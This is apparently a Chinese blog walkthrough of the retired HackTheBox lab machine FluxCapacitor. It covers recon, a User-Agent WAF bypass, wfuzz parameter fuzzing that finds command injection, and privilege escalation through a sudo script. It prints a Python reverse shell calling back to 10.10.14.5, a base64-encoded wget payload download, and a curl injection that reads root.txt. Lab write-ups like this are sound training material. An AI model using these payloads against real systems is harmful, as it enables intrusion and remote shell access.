• HTB-靶机-FluxCapacitor


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.69

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.69 -o ./FluxCapacitor-autorecon

    就开了个80端口,访问看看

    没发现啥东西,用burpsuite重放看看

    发现提示含有sync路径,同时根据显示的响应信息,得知目标靶机存在SuperWAF,先访问看看

    显示403,这个如果玩过WAF,就知道是显示被WAF拦截了,看到显示的403信息是openresty之类的,猜测可能就是基于openresty定制改版的WAF,那么我们需要绕过WAF ,下面是绕过WAF的两篇文章,是靶机作者提供的,具体链接如下:

    https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
    https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

    经过大量测试,发现目标WAF会基于User-Agent进行判断识别进行拦截操作

    更改User-Agent头发现就能正常访问,看上面的显示是一个日期时间,猜测有可能存在命令执行,也有可能存在shellshock,我们模糊测试命令执行看看,具体操作如下

    wfuzz -c -L -t 500 --hh=19 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls | tee bmfxfuzz.log
    参数解释:
    --hh=19 是表示HTTP响应Content-Length: 19的时候就隐藏
    -t 500 指定并发连接数
    -L 跟随HTTP重定向
    -c 输出带颜色
    -w 指定字典,也可以像下面使用方式一样使用-z参数然后带file指定字典
    -u 指定url

    也可以另外一种形式

    wfuzz -c -L -t 500 --hh=BBB -H "User-Agent:bmfx" -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ{not_this}=test

    最终确认存在命令执行的参数是opt ,但是我尝试执行下命令,发现被WAF拦截了

    此时需要绕过,可以参考上面我提供的两个绕过WAF的文章,这里通过模糊测试挖掘出可进行绕过WAF的参数

    wfuzz -c -L -t 500 -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ | tee bmfxchar_fuzz.log

    通过上面就可以 知道哪些绕过字符可以使用,哪些不可以,经过测试确认可以使用反斜杠加空格进行绕过

    既然可以命令执行,那么也顺便执行下sudo -l看看

    发现存在一个隐藏文件可以通过sudo以root身份执行shell脚本代码,那么我们可以通过这种命令执行的方式直接反弹shell,操作之前先看看脚本内容

    大概意思就是执行shell的第一个位置必须是cmd 后面的第二个参数会通过base64进行解码,解码完成之后就执行此shell代码,知道意思就好办,我们本地假设好简易web,然后做好python的反弹shell,再通过base64编码,得到如下结果:

    反弹shell
    
    import socket,subprocess,os
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.5",8833)) #CHANGE THIS
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1) 
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    
    
    base64编码
    echo "wget 10.10.14.5/shellbmfx.py -P /tmp" | base64
    d2dldCAxMC4xMC4xNC41L3NoZWxsYm1meC5weSAtUCAvdG1wCg==

    查看是否成功

    确认成功了,然后确认目标是python2版本还是python3版本

    本地监听端口触发反弹shell代码

    echo "python3 /tmp/shellbmfx.py" | base64
    cHl0aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

    sudo /home/themiddle/.monit cmd cHlaG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

    PS:本靶机还可以通过curl命令直接读取root.txt

    curl -s "http://10.10.10.69/sync?opt='{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 }'"
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    AJAX异步交互
    Java 异常讲解(转)
    Spring 配置文件详解 (以2.5为例)
    Java 获取当前系统时间方法比较
    Cannot change version of project facet Dynamic web module to 3.0
    使用 GCC 调试程序
    汇编 内存段划分和寄存器
    java.lang.StringBuilder
    java.lang.String
    建立和断开与MySQL服务器的连接
  • 原文地址:https://www.cnblogs.com/autopwn/p/14067943.html
Copyright © 2020-2023  润新知